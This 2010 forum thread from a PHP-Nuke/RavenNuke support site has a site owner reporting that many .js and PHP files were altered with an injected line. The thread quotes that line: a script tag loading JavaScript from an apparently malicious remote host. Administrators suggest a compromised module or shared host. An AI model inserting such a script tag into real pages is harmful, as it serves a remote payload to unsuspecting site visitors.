PHP Web Host - Quality Web Hosting For All PHP Applications Clan Themes! We make clans look good!!
  Login or Register
 • Home • Downloads • Your Account • Forums • 

View next topic
View previous topic


Google
 
Web RavenPHPScripts (This Site)
Post new topic   Reply to topic
Author Message
g0dsmacker
New Member
New Member


Joined: Mar 07, 2009
Posts: 1

PostPosted: Mon Jun 14, 2010 5:28 pm Reply with quote Back to top

Hi guys I hope you can help me. Recently alot of .js files in my website are getting altered and antivirus programs keep saying there is a virus here.

My website is
Only registered users can see links on this board!
Get registered or login to the forums!


I am running RavenNuke_v2.40.00 with nuke sentinal that came with this release the modern_gamer theme and clan_roster module purcased from clan themes.

The code I am finding at the bottom of the altered files is:
Code:
<script type="text/javascript" src="http://godlao.endokrinoloji.biz:8080/E-commerce.js"></script>
<!--0255a23e72f53a6640d3fd276c2dd6be-->


So far I have found index.php, mainfile.php and all files in includes/jquery folder. I am sure there is more.

I'm sure I will have to delete this website and reinstall it which I have done once allready but this virus or attack then returns.

Can anyone tell me how they get in to alter the files and what I should do to stop this from happening again.

Have a nice day
GodSmacker
View user's profile Send private message
Palbin
Site Admin


Joined: Mar 30, 2006
Posts: 2403
Location: Pennsylvania

PostPosted: Mon Jun 14, 2010 7:57 pm Reply with quote Back to top

Your problem has to be with a third part module/script you put on your site, or if it is shared hosting it could be another account that is compromised. It could be a problem with our base code, but we have gotten no other reports of this recently.

You could ask your host to look at your access logs to see if they could figure out how it is happening.
View user's profile Send private message Visit poster's website
Palbin
Site Admin


Joined: Mar 30, 2006
Posts: 2403
Location: Pennsylvania

PostPosted: Mon Jun 14, 2010 8:02 pm Reply with quote Back to top

I found another post on the web that was somewhat similar to your and they were on a shared host and thought that a script had been uploaded to the server and was infecting there site. I would contact your host with the problem.
View user's profile Send private message Visit poster's website
Display posts from previous:       
Post new topic   Reply to topic

View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
Forums ©
 

All logos and trademarks in this site are property of their respective owner.
The comments are property of their posters, all the rest © 2002-2011 by Raven

You can syndicate our news using the file xml

CSE HTML Validator Helped Clean up This Page! [Valid RSS] valid RSS 2.0 Valid robots.txt Stop Spam Harvesters, Join Project Honey Pot

Website engines core code is © copyright by PHP-Nuke but has been heavily patched and modified by myself and others.
PHP-Nuke is a free software released under the GNU/GPL.


:: fisubice phpbb2 style by Daz :: PHP-Nuke theme by www.nukemods.com ::
:: fisubice Theme Modified by the RavenNuke™ Team ::

:: W3C CSS Compliance Validation :: W3C HTML 4.01 Transitional Compliance Validation ::

zerosum